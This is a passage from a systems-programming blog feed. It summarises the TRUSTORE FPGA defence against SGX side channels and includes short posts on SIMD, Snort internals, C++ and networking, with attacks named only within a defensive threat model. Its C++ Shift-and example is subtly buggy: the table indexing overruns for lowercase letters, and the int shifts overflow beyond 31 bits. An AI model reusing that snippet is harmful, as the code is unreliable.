id=&#34;sgx中的侧信道攻击以及常规oram方法的局限性&#34;&gt;SGX中的侧信道攻击以及常规ORAM方法的局限性&lt;/h2&gt;&#xA;&lt;p&gt;目前，常见的针对SGX的侧信道攻击大都基于存储结构，例如基于页错误的攻击，基于缓存的攻击（flush+reload，evict+reload，evict+time等等），基于分支预测的攻击以及基于推测执行的攻击等等。通过这些侧信道攻击，攻击者可以获取到本应被SGX保护的敏感信息。&lt;/p&gt;&#xA;&lt;p&gt;针对这一系列攻击，许多基于ORAM的方法被提出并应用于侧信道的保护上。但由于对于每次内存访问，ORAM都需要访问整个访问路径树（对大小为N的数据，需要额外O(LogN)的内存访问次数），这使得ORAM的性能受到了极大的限制。实验结果表明，ORAM的额外开销相较于原生enclave执行缓慢了两个数量级。此外，当访问的数据大小变大时，ORAM的速度呈指数级衰减。&lt;/p&gt;&#xA;&lt;p&gt;正因常规ORAM方法在解决SGX的侧信道攻击时具有很大的局限性，如何高效地预防SGX中的侧信道攻击成为了亟待解决的问题。事实上，与SGX相关的基于存储的侧信道攻击，大都因为相应的存储单元（内存，缓存，页表，分支预测单元等）是被计算机上不同应用（不管被信任与否）所共享的。在这篇文章中，作者提出了一个观点：如果我们将SGX所利用的存储单元与这些共享存储单元隔绝开，其相应的侧信道是否在很大程度上会被隔绝？&lt;/p&gt;&#xA;&lt;h2 id=&#34;trustore简介&#34;&gt;TRUSTORE简介&lt;/h2&gt;&#xA;&lt;p&gt;基于上文中的观点，作者设计了TRUSTORE，也即一个在与其他存储设备相隔离的FPGA中的可信存储模块。由于TRUSTORE有着独立的内存单元，故其从设计上阻断了存储单元相关的侧信道。在设计TRUSTORE并将其与SGX相结合的过程中，作者遇到并解决了以下三个挑战：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;在不改变系统架构的前提下，将可信范围从SGX拓展到FPGA上；&lt;/li&gt;&#xA;&lt;li&gt;为SGX应用与FPGA之间提供一个高速的可验证安全连接通道；&lt;/li&gt;&#xA;&lt;li&gt;为SGX应用提供无缝的多重操作支持（怎样理解无缝？）。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;本文的威胁模型&#34;&gt;本文的威胁模型&lt;/h2&gt;&#xA;&lt;h3 id=&#34;enclave的假设&#34;&gt;Enclave的假设&lt;/h3&gt;&#xA;&lt;p&gt;假定用户想要在一台远程机器上里用SGX安全地运行一个应用。攻击者了解这个应用的内容和源代码，所以代码本身并不是敏感信息。但，用户向enclave提供的数据是敏感的，因此这些数据需要被保护以免受到侧信道攻击。在TRUSTORE中，作者假设单一一方（如enclave应用开发者）会将TRUSTORE服务引入FPGA设备中。但对于某些服务，开发者可以在一台设备中运行多个enclave，并且这些enclave可以同时访问同一块FPGA。&lt;/p&gt;&#xA;&lt;h3 id=&#34;硬件假设&#34;&gt;硬件假设&lt;/h3&gt;&#xA;&lt;p&gt;TRUSTORE的有效性基于以下硬件层面的假设：CPU与FPGA芯片不会被篡改且其功能被正确实现。此外，作者假设攻击者不能从芯片封装内直接获取到秘密信息或者使当前状态混乱。温度与功耗侧信道不在TRUSTORE的考虑范围中。&lt;/p&gt;&#xA;&lt;h3 id=&#34;攻击者的能力&#34;&gt;攻击者的能力&lt;/h3&gt;&#xA;&lt;p&gt;攻击者拥有控制全部软件组成（如BIOS，OS，VMM以及设备驱动程序）的特权。此外，攻击者可以控制除FPGA之外的所有外设，所有的非EPC内存也都可以被攻击者控制（例如DMA与MMIO缓冲区）。与EPC类似，尽管攻击者不能直接访问被TRUSTORE保护的FPGA DRAM，他们也可以发起相关的侧信道攻击。&lt;/p&gt;&#xA;&lt;h2 id=&#34;trustore的设计&#34;&gt;TRUSTORE的设计&lt;/h2&gt;&#xA;&lt;p&gt;TRUSTORE分为两部分，TRUSTLIB和TRUSTMOD。&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TRUSTLIB是运行在enclave内的模块，其主要作用是建立和维护enclave程序和可信存储设备（FPGA）之间的通信通道。&lt;/li&gt;&#xA;&lt;li&gt;TRUSTMOD是运行在FPGA上的模块，其是可信存储的核心模块。（其实现了一个基于FPGA板载内存的key-value存储机制，该机制可以在为多个enclave提供存储服务的同时，通过强行访问控制来保证enclave中的数据安全。）&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;在介绍完这两个模块之后，文章讨论了如何利用MMIO与DMA来高效的将这辆各模块进行连接与组合。&lt;/p&gt;&#xA;&lt;p&gt;名词解读：&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MMIO，也既内存映射IO，在MMIO中，内存和I/O设备共享同一个地址空间。 MMIO是应用得最为广泛的一种IO方法，它使用相同的地址总线来处理内存和I/O设备，I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时，它可能是物理内存，也可以是某个I/O设备的内存。因此，用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线，一旦CPU访问分配给它的地址，它就做出响应，将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备，CPU必须预留给I/O一个地址区域，该地址区域不能给物理内存使用。&lt;/li&gt;&#xA;&lt;li&gt;DMA，也既直接内存访问，DMA传输时将数据从一个地址空间复制到另外一个地址空间。当CPU初始化这个传输动作，传输动作本身是由 DMA控制器来实行和完成。典型的例子就是移动一个外部内存的区块到芯片内部更快的内存区。像是这样的操作并没有让处理器工作拖延，反而可以被重新排程去处理其他的工作。DMA 传输对于高效能嵌入式系统算法和网络是很重要的。在实现DMA传输时，是由DMA控制器直接掌管总线，因此，存在着一个总线控制权转移问题。即DMA传输前，CPU要把总线控制权交给DMA控制器，而在结束DMA传输后，DMA控制器应立即把总线控制权再交回给CPU。一个完整的DMA传输过程必须经过DMA请求、DMA响应、DMA传输、DMA结束4个步骤。&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;trustmod的加载与验证&#34;&gt;TRUSTMOD的加载与验证&lt;/h3&gt;&#xA;&lt;p&gt;TRUSTMOD需要被编译成比特流并加载进FPGA开发板上，因此，如何保证其在加载到板上之后的保密性和完整性是这部分主要解决的问题。&lt;/p&gt;&#xA;&lt;h4 id=&#34;比特流的加载&#34;&gt;比特流的加载&lt;/h4&gt;&#xA;&lt;p&gt;通过FPGA的安全启动流程，TRUSTMOD可以保证比特流在加载到板上之后，其中内容不会被窃取。具体来说，开发者首先准备好TRUSTMOD的比特流，并将该比特流上传到FPGA厂商来进行签名和加密（假设FPGA厂商可信），最后将正确加密并签名比特流烧入FPGA中，FPGA自身解密并写入自身逻辑模块。但显然，这一过程只能保证烧入的比特流的内容不被外界知晓，并不能保证FPGA始终运行正确可靠的比特流。因此，TRUSTMOD借鉴了SGX中的remote attestation过程，并借助TRUSTLIB实现了一套自身的验证流程。&lt;/p&gt;&#xA;&lt;h4 id=&#34;密钥管理与验证过程&#34;&gt;密钥管理与验证过程&lt;/h4&gt;&#xA;&lt;p&gt;在介绍如何验证之前，我们先来介绍密钥管理方法，其过程如下图所示：&#xA;&lt;img src=&#34;https://example.org/img/trustore/trustmod_key_mgmt.png&#34; alt=&#34;TRUSTMOD加载过程中的密钥管理&#34;&gt;&#xA;&lt;em&gt;图1：TRUSTMOD加载过程中的密钥管理&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;步骤⓪指出，FPGA厂商在出厂前会为每块开发板准备好相应的三个密钥\(k_{Pub}^{bitstr},k_{Priv}^{bitstr},k_{AES}^{bitstr}\)来用作安全启动的保证。为了实现验证操作，如步骤①所示，TRUSTMOD也会在每次编译之前（来保证不同TRUSTMOD设备的密钥不同）生成一对密钥\(k_{Pub}^{attest},k_{Priv}^{attest}\)，并把私钥\(k_{Priv}^{attest}\)附加在编译好的比特流中，公钥则会被提供给TRUSTLIB以便进行后续操作，这是图示中的步骤②。当FPGA接收到加密并签名过的TRUSTMOD比特流之后，其就会进行相应的验证操作，如果验证无误，则将解密之后的TRUSTMOD模块载入逻辑阵列中，如步骤③。&#xA;接下来，为了在CPU与FPGA之间建立起一条可靠的信道，TRUSTLIB将会发起对TRUSTMOD的验证。其过程如下图所示：&#xA;&lt;img src=&#34;https://example.org/img/trustore/trustmod_attestation.png&#34; alt=&#34;TRUSTMOD与TRUSTLIB的验证过程&#34;&gt;&#xA;&lt;em&gt;图2：TRUSTMOD与TRUSTLIB的验证过程&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;为了保证验证消息的新鲜性，在发起验证的最初，TRUSTLIB首先要产生一个随机nonce并发给TRUSTMOD，TRUSTMOD接受到这个nonce之后，利用\(k_{Priv}^{attest}\)对其进行签名并发回至TRUSTLIB供其进行验证。若验证通过，则开始发起Diffie–Hellman密钥交换，最终得到一个公共密钥，至此安全信道建立成功。这个机制保证了，只要\(k_{Priv}^{attest}\)不被泄露，即使攻击者改写了FPGA的比特流内容，也会在进行验证时被TRUSTLIB发现。&lt;/p&gt;&#xA;&lt;h3 id=&#34;trustmod的存储模型&#34;&gt;TRUSTMOD的存储模型&lt;/h3&gt;&#xA;&lt;p&gt;关于存储模型，主要考虑三个问题，第一：怎么存，也既存储内容在存储器中的物理和逻辑组织结构是什么；第二：怎么管，也既内容可以被谁访问，可以被怎样访问。对于怎么存这个问题，从概念出发，我们要考虑内容以什么格式组织在存储器中，并通过怎样的方式寻址。对于怎么管这个问题，我们主要考虑访问控制以及如何响应相应的存储操作请求。此外，可能存在的内存碎片问题也是TRUSTMOD需要解决的问题之一。&lt;/p&gt;&#xA;&lt;h4 id=&#34;怎么存&#34;&gt;怎么存&lt;/h4&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;寻址：由于FPGA硬件本身的特性，TRUSTMOD直接访问FPGA的存储器，所以寻址方式可以被简单地定义为&lt;strong&gt;直接寻址&lt;/strong&gt;。由于不存在CPU中的应用所必须涉及到的缓存，页表等结构，其可能遭受的侧信道攻击面被显著地削减。&lt;/li&gt;&#xA;&lt;li&gt;存储格式：由于FPGA的板载存储器（DRAM）的地址空间是线性的，因此数据可以简单的按起始地址+偏移量（也既数据大小）这一方式来管理。具体地，TRUSTMOD将所有被分配的内存记录到一个叫片上内存分配表（On-Chip Memory Allocation Table, OCMAT）的数据结构中，这个表包含以下属性：1）ID，也既一个数据对象的唯一标识符，被TRUSTMOD内部分配；2）EID，也既Enclave ID，是拥有该数据对象的enclave的唯一标识符；3）片上地址，也既该数据对象在FPGA片上存储器内的起始物理地址；4）长度，很显然，既是数据对象的大小。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;怎么管&#34;&gt;怎么管&lt;/h4&gt;&#xA;&lt;p&gt;TRUSTMOD维护一个FIFO队列来记录每个enclave的内存操作请求，因此这些请求将会以先来先服务的形式被响应。如果队列满无法再接受新请求，TRUSTMOD将会通过推迟发送ACK信号的方式来让总线暂停接受新请求。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Compare the performance between inline assembly and C style Intel intrinsic</title>
      <link>https://example.org/posts/avxperf/</link>
      <pubDate>Wed, 26 May 2021 11:47:06 +0800</pubDate>
      <guid>https://example.org/posts/avxperf/</guid>
      <description>&lt;p&gt;Modern CPU has many acceralating instructions, like Intel® SSE, AVX, AVX-512, and more. In order to invoke these instructions conveniently, Intel provided many C style functions that provide access to them, which can be found at &lt;a href=&#34;https://software.intel.com/sites/landingpage/IntrinsicsGuide&#34;&gt;here&lt;/a&gt;. In this article, we are going to compare the performance between those C style functions and its original inline assembly. The test environment is Visual Studio 2019 and Windows 10.&lt;/p&gt;&#xA;&lt;p&gt;We use _mm256_add_ps/vaddps as a test case. But I think other instructions should have similar results. The test code is listed below:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Multithreading Models in Modern Operating System</title>
      <link>https://example.org/posts/multithreading-model-in-modern-operating-system/</link>
      <pubDate>Tue, 25 May 2021 14:55:36 +0800</pubDate>
      <guid>https://example.org/posts/multithreading-model-in-modern-operating-system/</guid>
      <description>&lt;p&gt;There are two types of threads to be managed in a modern system: User threads and kernel threads. User threads are supported above the kernel, without kernel support. These are the threads that application programmers would put into and manage in their programs. Kernel threads are supported within the kernel of the OS itself. All modern OSes support kernel level threads, allowing the kernel to perform multiple simultaneous tasks and/or to service multiple kernel system calls simultaneously. In a specific implementation, the user threads must be mapped to kernel threads, using one of the following strategies.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Hyperscan&#39;s SIMD MPSM</title>
      <link>https://example.org/posts/hyperscan%E4%B8%AD%E7%9A%84simd%E5%A4%9A%E6%A8%A1%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8C%B9%E9%85%8D%E7%AE%97%E6%B3%95/</link>
      <pubDate>Tue, 18 May 2021 02:22:06 +0800</pubDate>
      <guid>https://example.org/posts/hyperscan%E4%B8%AD%E7%9A%84simd%E5%A4%9A%E6%A8%A1%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8C%B9%E9%85%8D%E7%AE%97%E6%B3%95/</guid>
      <description>&lt;p&gt;Hyperscan是Intel联合相关单位开发的一套开源的C++高性能多模式正则匹配库，其实现大量的利用了现代CPU中的SIMD（单指令多数据流）指令来进行优化，通常被用于实现IDS/IPS系统中的DPI模块（例如Snort）。Hyperscan项目是经历了数年的长期开发，其核心技术被发表于NSDI‘19。本文将着重介绍Hyperscan中的SIMD多模字符串匹配算法。&lt;/p&gt;&#xA;&lt;p&gt;在Hyperscan文中，该SIMD多模字符串匹配算法被称为FDR（纪念罗斯福&amp;hellip;)，FDR旨在快速筛选出不需要进行详细匹配的字节流。具体而言，FDR改进了经典的Shift-or匹配算法，将其从单模式串精确匹配拓展到了多模式串模糊匹配（有概率出现假阳性FP），并利用了一系列的SIMD指令，对其性能进行了优化，在改进的Shift-or算法之后，FDR引入了一个验证模块，利用哈希和精确字符串匹配来过滤上一步中可能出现的FP。本文将首先介绍经典的Shift-or匹配算法，然后介绍FDR中的改进的多模Shift-or算法，并对其细节进行一系列的分析，最终介绍验证模块的相关内容。&lt;/p&gt;&#xA;&lt;h2 id=&#34;经典的shift-or字符串匹配算法&#34;&gt;经典的Shift-or字符串匹配算法&lt;/h2&gt;&#xA;&lt;p&gt;最常见的字符串匹配算法，也既暴力匹配，在遇到匹配失败的字符之后，会重新将模式串退回起始位置，然后将原文前进一个字符再次进行匹配，该操作符合人们的直觉，但会花费一些不必要的时间去匹配一些在前次匹配中已知可以匹配的子串。KMP算法引入了失配指针与next数组的概念，通过计算并存储模式串中部分子串的前缀与后缀的最长公共元素的长度，来缩减失配时所需要的回退的步数，从而减少算法运行的时间。KMP算法的详细过程本文不再赘述，有兴趣的读者可以在互联网上查阅相关资料。&lt;/p&gt;&#xA;&lt;h3 id=&#34;shift-and算法&#34;&gt;Shift-and算法&lt;/h3&gt;&#xA;&lt;p&gt;在介绍Shift-or算法之前，我们先来介绍Shift-and算法，因为Shift-or算法仅为Shift-and算法的一个优化方案。Shift-and算法，其思想与KMP算法略有相似，都利用了前缀与后缀的关系，但Shift算法通过计算机中并行度较高的位运算，进一步加快了匹配的速度。给定模式串&lt;code&gt;P&lt;/code&gt;，输入文本为&lt;code&gt;S&lt;/code&gt;，Shift-and算法维护一个字符串集合&lt;code&gt;D&lt;/code&gt;，&lt;code&gt;D&lt;/code&gt;中记录了P中所有与S串当前已读部分的某个后缀相匹配的&lt;code&gt;P&lt;/code&gt;的从头开始的子串，每当从S中读入一个新字符后，算法立即更新&lt;code&gt;D&lt;/code&gt;，若&lt;code&gt;D&lt;/code&gt;中存在一个串恰好为&lt;code&gt;P&lt;/code&gt;，则表示匹配成功。实际应用中，维护一个位数组D来实现这一功能，现将具体流程总结如下：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1. 设P的长度为m，将位数组D表示为D=dm...d1，用D[j]表示dj，初始化D全为0;&#xA;2. D[j]=1，当且仅当P1...Pj是S1...Si的某个后缀（此时，S读到i处）；&#xA;3. 若D[m]=1，则S匹配P；&#xA;4. D的更新规则：当且仅当D[i]=1且Si+1=Pj+1时，D[i+1]=1。&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;在具体实现中，我们采用如下算式去对D进行位并行更新：&lt;code&gt;D=((D&amp;lt;&amp;lt;1) | 1) &amp;amp; B[S[j]]&lt;/code&gt;，其中B为一个位数组的数组，对所有的P中的字符c，B维护如下特性：&lt;code&gt;B[c].i&lt;/code&gt;也既&lt;code&gt;B[c]&lt;/code&gt;的第i位为1，当且仅当&lt;code&gt;P[i]=c&lt;/code&gt;，否则为0。在给出B的定义之后，接下来我会对更新算式进行详细的解释：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;首先关注更新规则，当且仅当&lt;code&gt;D[i]=1&lt;/code&gt;且&lt;code&gt;Si+1=Pj+1&lt;/code&gt;时，&lt;code&gt;D[i+1]=1&lt;/code&gt;。对于位数组D，其每一位表示模式串P从开头到该位对应的位置有无对应的匹配，因此，在已知当前位置的匹配情况&lt;code&gt;D[i]&lt;/code&gt;，并想要进行上述更新操作时，很显然，我们可以发现&lt;code&gt;D[i]&lt;/code&gt;与&lt;code&gt;D[i+1]&lt;/code&gt;存在一个左移一位的关系。在更新过程中，&lt;code&gt;D[i]&lt;/code&gt;的可能取值为0和1，若&lt;code&gt;D[i]=0&lt;/code&gt;，则代表第i位不匹配，根据规则，第&lt;code&gt;i+1&lt;/code&gt;位也不可能匹配，此时&lt;code&gt;D[i+1]&lt;/code&gt;也应被置为0，该操作可以用一个左移操作被轻松的表示出来，也既更新算式中的&lt;code&gt;D&amp;lt;&amp;lt;1&lt;/code&gt;；&lt;/li&gt;&#xA;&lt;li&gt;若&lt;code&gt;D[i\=1&lt;/code&gt;，则表示&lt;code&gt;D[i+1]&lt;/code&gt;有机会为1，因此我们需要进行进一步的判断（&lt;code&gt;Si+1=Pj+1&lt;/code&gt;是否成立？），在进行这个判断之前，假设该判断成立，该假设等价于对D进行左移操作，让&lt;code&gt;D[i]=1&lt;/code&gt;这一位被传递到&lt;code&gt;D[i+1]&lt;/code&gt;，注意此时前一位会被补0，因此我们对传递之后的D与上1，也既&lt;code&gt;((D&amp;lt;&amp;lt;1) | 1)&lt;/code&gt;，从而保证每次传递都能使前序匹配信息不丢失。接下来，我们需要对假设（&lt;code&gt;Si+1=Pj+1&lt;/code&gt;成立）进行验证，在这里，借助之前已经计算好的B，如果&lt;code&gt;B[S[j]]&lt;/code&gt;的第&lt;code&gt;i+1&lt;/code&gt;位为1，则证明假设成立，因此之前接受到上一位传递的1应被保留，反之，则应置为0，这一操作符合与操作的概念，因此，我们用&lt;code&gt;D=((D&amp;lt;&amp;lt;1) | 1) &amp;amp; B[S[j]]&lt;/code&gt;来实现这一更新。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;优点：位数组的每一位都可以表示一个字符，且位运算在CPU内是高度并行化的，所以，相较于KMP算法，该算法更加高效。现将C++实现贴至下方：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-C++&#34;&gt;// implementation by bitset&#xA;int shift_and_bitset(std::string source, std::string pattern)&#xA;{&#xA;    size_t src_len = source.length(), pat_len = pattern.length();&#xA;    // assume character set is A-Za-z, 52 chars&#xA;    std::bitset&amp;lt;64&amp;gt; B[52]; // pat_len should less than or equal to 64&#xA;    std::bitset&amp;lt;64&amp;gt; D;     // the bitset representing the prefix-matching status, initialized as 0x00...&#xA;&#xA;    // initialization of B&#xA;    for (size_t i = 0; i &amp;lt; pat_len; i++)&#xA;    {&#xA;        // set the i-bit of B[pattern[i]] as 1&#xA;        B[pattern[i] - &#39;A&#39;].set(i, true);&#xA;    }&#xA;&#xA;    for (size_t i = 0; i &amp;lt; src_len; i++)&#xA;    {&#xA;        D = (D &amp;lt;&amp;lt; 1).set(0, 1) &amp;amp; B[source[i] - &#39;A&#39;];&#xA;        if (D[pat_len - 1])&#xA;        {&#xA;            return i;&#xA;        }&#xA;    }&#xA;&#xA;    // return D[pat_len - 1];&#xA;    return -1;&#xA;}&#xA;&#xA;// implementation by pure bitwise calculation&#xA;int shift_and_bitwise(std::string source, std::string pattern)&#xA;{&#xA;    size_t src_len = source.length(), pat_len = pattern.length();&#xA;    unsigned long long mask = 1 &amp;lt;&amp;lt; (pat_len - 1);&#xA;    unsigned long long B[52] = {0};&#xA;    unsigned long long D = 0;&#xA;&#xA;    // initialization of B&#xA;    for (size_t i = 0; i &amp;lt; pat_len; i++)&#xA;    {&#xA;        // set the i-bit of B[pattern[i]] as 1&#xA;        B[pattern[i] - &#39;A&#39;] |= (1 &amp;lt;&amp;lt; i);&#xA;    }&#xA;&#xA;    for (size_t i = 0; i &amp;lt; src_len; i++)&#xA;    {&#xA;        D = (((D &amp;lt;&amp;lt; 1)) | 1) &amp;amp; B[source[i] - &#39;A&#39;];&#xA;        if (D &amp;amp; (1 &amp;lt;&amp;lt; (pat_len - 1)))&#xA;        {&#xA;            return i;&#xA;        }&#xA;    }&#xA;&#xA;    return -1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;相较于利用STL中的&lt;code&gt;bitset&lt;/code&gt;实现，利用整型变量和位运算的实现更加高效，但是可读性有所降低。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Snort::Pig Code Insight</title>
      <link>https://example.org/posts/snort-pig-code-insight/</link>
      <pubDate>Mon, 10 May 2021 22:13:25 +0000</pubDate>
      <guid>https://example.org/posts/snort-pig-code-insight/</guid>
      <description>&lt;h1 id=&#34;snortpig-code-insight&#34;&gt;Snort::Pig Code Insight&lt;/h1&gt;&#xA;&lt;p&gt;Snort::Pig is the core class of Snort, in detail, every Packet thread is corresponding with an instance of Pig class, with the ability to be bound with a data source and handle its incoming packets (decode, pre-process, detect and do some actions). The definition of Pig class is listed as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-C++&#34;&gt;class Pig&#xA;{&#xA;public:&#xA;    Pig() = default;&#xA;&#xA;    void set_index(unsigned index) { idx = index; }&#xA;&#xA;    bool prep(const char* source);&#xA;    void start();&#xA;    void stop();&#xA;&#xA;    bool queue_command(AnalyzerCommand*, bool orphan = false);&#xA;    void reap_commands();&#xA;&#xA;    Analyzer* analyzer = nullptr;&#xA;    bool awaiting_privilege_change = false;&#xA;    bool requires_privileged_start = true;&#xA;&#xA;private:&#xA;    void reap_command(AnalyzerCommand* ac);&#xA;&#xA;    std::thread* athread = nullptr;&#xA;    unsigned idx = (unsigned)-1;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Snort::Analyzer Code Insight</title>
      <link>https://example.org/posts/snort-analyzer-code-insight/</link>
      <pubDate>Sun, 09 May 2021 23:38:19 +0000</pubDate>
      <guid>https://example.org/posts/snort-analyzer-code-insight/</guid>
      <description>&lt;p&gt;Analyzer provides the packet acquisition and processing loop. Since it runs in a different thread, it also provides a command facility so that to control the thread and swap configuration.&lt;/p&gt;&#xA;&lt;h2 id=&#34;life-cycle&#34;&gt;Life Cycle&lt;/h2&gt;&#xA;&lt;p&gt;The Analyzer life cycle is managed as a finite state machine. It will start in the NEW state and will transition to the INITIALIZED state once the object is called as part of spinning off a packet thread. Further transitions will be prompted by commands from the main thread. From INITIALIZED, it will go to STARTED via the START command. Similarly, it will go from STARTED to RUNNING via the RUN command. Finally, it will end up in the STOPPED state when the Analyzer object has finished executing. This can be prompted by the STOP command, but may also happen if the Analyzer finishes its operation for other reasons (such as encountering an error condition). The one other state an Analyzer may be in is PAUSED, which will occur when it receives the PAUSE command while in the RUNNING state. A subsequent RESUME command will switch it back from PAUSED to RUNNING. One of the primary drivers of this state machine pattern is to allow the main thread to have synchronization points with the packet threads such that it can drop privileges at the correct time (based on the limitations of the selected DAQ module) prior to starting packet processing.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Snort Privilege Design</title>
      <link>https://example.org/posts/snort-privilege-design/</link>
      <pubDate>Fri, 07 May 2021 23:38:18 +0000</pubDate>
      <guid>https://example.org/posts/snort-privilege-design/</guid>
      <description>&lt;p&gt;In modern operating system, each user or usergroup has its own privilege. Also, only a few users or groups can execute some privileged operations, like accessing /usr/bin, mounting a device to a specific location, reading data from a network interface card (NIC), etc. In this article, I take modern Linux as an example, towards a comprehensive explain of the privilege design in Snort.&lt;/p&gt;&#xA;&lt;p&gt;Snort, as a intrusion detection system, is highly and frequently required to commnunicate with the NICs during its Data AcQuisition (DAQ) process. Hence, during those operations, Snort process are needed to be bound with a privileged user, allowing it to handle some necessary privileged operations. However, as stated in &lt;em&gt;Snort::Analyzer Code Insight&lt;/em&gt;, and considering the execuating procedure of Snort, an Analyzer is not always in the DAQ process, nor in the RUNNING state. Such truth implies that &lt;strong&gt;privileges are not always required by the process&lt;/strong&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43;中的值类别和引用</title>
      <link>https://example.org/posts/cpp-value-catrgories/</link>
      <pubDate>Mon, 03 May 2021 23:38:22 +0000</pubDate>
      <guid>https://example.org/posts/cpp-value-catrgories/</guid>
      <description>&lt;p&gt;任何一个C++表达式（操作符和操作数，字面值，变量名等）都有两个不同的特征：数据类型以及它的值类别（请勿将二者混为一谈）。数据类型是我们非常熟悉的int、float、double或者其他诸如struct、class等的一些复合类型，这篇文章中，我们将会谈到一个已经是老生常谈但会被很多人忽视掉的内容，值类别。&#xA;简单来说，值类别分为两种，左值（lvalue）与右值（rvalue）（其实还可进行细分，如prvalue，xvalue，glvalue等，但其内容较为深入且与本文并无太大关系，故不做赘述）。左值，顾名思义，为出现在等号左边的值（不是非常准确但有助于理解），因此它可以被赋值，这就代表着它有自己的名字对应的地址，可以出现在多条表达式中。而右值，姑且理解为出现在等号右边的值，也既临时变量（对象）。右值没有自己的名字，也无法在多个表达式中重复使用。&#xA;因此，很多人可能会认为，右值无法被修改，它在整个生存周期内都会保持不变。实则不然，我们来看下面这个表达式：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-C++&#34;&gt;T().set().get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;T为一个类，set为其中某个成员变量赋值，get则用来获取这个成员的值。我们可以发现，在构造函数T()返回了T的一个实例（此时为一个右值）之后，set函数对其进行了修改。因此，右值是可以被修改的。对于可以被修改却没有名字的值，很显然，我们应当对其引入引用的概念。&lt;/p&gt;&#xA;&lt;h2 id=&#34;右值引用&#34;&gt;右值引用&lt;/h2&gt;&#xA;&lt;p&gt;C++11中引入了右值引用这一概念，为了和左值引用‘&amp;amp;’区分，C++11使用两个引号‘&amp;amp;&amp;amp;’来表示右值引用。定义方法如下&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-C++&#34;&gt;int &amp;amp;&amp;amp;x = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Enable Software Controlled SGX in Ubuntu</title>
      <link>https://example.org/posts/enable-software-controled-sgx-in-ubuntu/</link>
      <pubDate>Fri, 25 Sep 2020 13:45:12 +0000</pubDate>
      <guid>https://example.org/posts/enable-software-controled-sgx-in-ubuntu/</guid>
      <description>&lt;p&gt;Intel® Software Guard Extensions (SGX) is a hardware-based isolation and memory encryption mechanism provided by modern Intel® CPUs. Normally, it is disabled in the BIOS by the manufacture of your motherboard. In order to use it, the SGX option in the BIOS must be set to &lt;code&gt;Enable&lt;/code&gt; or &lt;code&gt;Software Controlled&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By setting the option to &lt;code&gt;Enable&lt;/code&gt;, all of the SGX instructions and resources are available to applications, making it easy to deploy SGX related program on your machine. However, in some motherboards, the only available options in the BIOS are &lt;code&gt;Software Controlled&lt;/code&gt; and &lt;code&gt;Disable&lt;/code&gt;. According to the &lt;a href=&#34;https://software.intel.com/content/www/us/en/develop/articles/properly-detecting-intel-software-guard-extensions-in-your-applications.html&#34;&gt;official document of Intel&lt;/a&gt;, &lt;code&gt;Software Controlled&lt;/code&gt; indicates that &lt;em&gt;Intel SGX can be enabled by software applications, but it is not available until this occurs (called the “software opt-in”).&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to Fix Failed to Initialize NVML Error in Ubuntu 20.04</title>
      <link>https://example.org/posts/how-to-fix-failed-to-initialize-nvml-error-in-ubuntu-20.04/</link>
      <pubDate>Tue, 22 Sep 2020 14:03:06 +0800</pubDate>
      <guid>https://example.org/posts/how-to-fix-failed-to-initialize-nvml-error-in-ubuntu-20.04/</guid>
      <description>&lt;p&gt;Update the NVIDIA driver to 440.82 fixed this problem:)&lt;/p&gt;</description>
    </item>
    <item>
      <title>OSI 7-Layer Model</title>
      <link>https://example.org/posts/osi-7-layer-model/</link>
      <pubDate>Thu, 10 Sep 2020 10:29:19 +0000</pubDate>
      <guid>https://example.org/posts/osi-7-layer-model/</guid>
      <description>&lt;p&gt;The Open System Interconnection (OSI) model (defined in &lt;a href=&#34;https://www.iso.org/standard/20269.html&#34;&gt;ISO 7498-1&lt;/a&gt;), which is a reference tool for understanding data communications between two networked systems, divides the communication processes into 7 layers:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Physical layer&lt;/li&gt;&#xA;&lt;li&gt;Data link layer&lt;/li&gt;&#xA;&lt;li&gt;Network layer&lt;/li&gt;&#xA;&lt;li&gt;Transport layer&lt;/li&gt;&#xA;&lt;li&gt;Session layer&lt;/li&gt;&#xA;&lt;li&gt;Presentation layer&lt;/li&gt;&#xA;&lt;li&gt;Application layer&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Those layers break up the networks into manageable 